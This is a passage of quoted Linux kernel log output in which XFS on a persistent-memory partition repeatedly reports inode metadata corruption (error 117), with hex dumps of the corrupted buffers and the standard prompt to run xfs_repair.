87.670939] ffff8801fb9f0030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670940] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670941] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670942] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670953] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670954] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670955] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670956] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.670957] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.670958] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670959] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670960] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670962] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670963] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671036] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671037] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671038] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671039] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671040] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671041] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671042] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671043] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671045] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671046] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671053] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671054] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671055] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671056] ffff88040ed48000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671057] ffff88040ed48010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671058] ffff88040ed48020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671059] ffff88040ed48030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671060] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671061] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671063] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671083] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671084] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671085] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671086] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671087] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671088] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671089] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671090] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671091] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671093] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671137] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671139] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671140] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671141] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671142] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671142] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671143] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671144] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671146] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671147] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671154] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671156] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671156] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671157] ffff88040f7f3000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671158] ffff88040f7f3010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671159] ffff88040f7f3020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671160] ffff88040f7f3030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671161] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671162] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671164] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671175] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671176] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671177] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671178] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671178] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671179] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671181] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671182] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671183] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671185] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671225] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671226] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671227] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671229] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671230] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671231] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671232] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671233] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671234] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671235] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671242] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671243] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671245] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671246] ffff88040fac6000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671247] ffff88040fac6010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671247] ffff88040fac6020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671248] ffff88040fac6030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671249] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671251] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671252] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671262] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671263] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671264] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671265] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671266] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671267] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671268] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671269] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671270] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671272] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671311] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671312] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671313] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671314] ffff88040fac6000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671315] ffff88040fac6010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671316] ffff88040fac6020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671317] ffff88040fac6030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671319] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671321] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671323] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671333] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671334] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671335] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671336] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671337] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671338] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671339] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671340] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671342] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671343] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671355] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671356] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671356] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671357] ffff88040fac6000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671358] ffff88040fac6010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671360] ffff88040fac6020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671361] ffff88040fac6030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671362] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671363] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671364] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671405] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671406] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671407] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671408] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671409] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671410] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671411] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671412] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671413] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671415] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671422] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671423] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671424] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671425] ffff88040fac6000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671426] ffff88040fac6010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671427] ffff88040fac6020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671428] ffff88040fac6030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671429] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671430] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671431] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671442] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671443] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671444] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671446] ffff8801fb800000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671447] ffff8801fb800010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671448] ffff8801fb800020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671448] ffff8801fb800030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671449] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671451] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671452] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671506] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671508] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671508] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671509] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671510] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671511] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671512] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671513] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671515] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671516] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671523] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671524] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671525] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671526] ffff88040f115000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671527] ffff88040f115010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671528] ffff88040f115020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671529] ffff88040f115030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671530] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671531] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671533] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671552] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671553] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671554] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671555] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671556] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671557] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671558] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671559] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671560] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671562] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671604] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671605] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671606] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671607] ffff88040f115000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671608] ffff88040f115010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671609] ffff88040f115020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671610] ffff88040f115030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671611] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671612] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671613] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671620] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671621] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671622] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671623] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671624] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671625] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671626] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671627] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671628] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671629] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671640] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671642] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671643] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671644] ffff88040f115000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671644] ffff88040f115010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671645] ffff88040f115020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671646] ffff88040f115030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671647] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671649] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671650] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671689] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671690] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671691] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671692] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671694] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671695] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671696] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671697] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671698] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671699] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671706] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671707] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671708] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671710] ffff88040f115000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671710] ffff88040f115010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671711] ffff88040f115020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671712] ffff88040f115030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671713] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671715] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671716] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671726] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671727] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671728] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671729] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671730] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671731] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671732] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671733] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671735] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671736] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671777] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671778] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671779] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671780] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671781] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671782] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671783] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671784] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671785] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671787] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671794] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671795] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671796] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671797] ffff8801fbab1000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671798] ffff8801fbab1010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671799] ffff8801fbab1020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671800] ffff8801fbab1030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671800] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671802] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671803] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671814] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671815] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671816] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.671817] ffff88040fac5000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.671818] ffff88040fac5010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.671819] ffff88040fac5020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.671820] ffff88040fac5030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.671821] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.671822] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.671824] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.671863] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.671864] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.671865] XFS (pmem0p2): First 64 bytes of corrupted 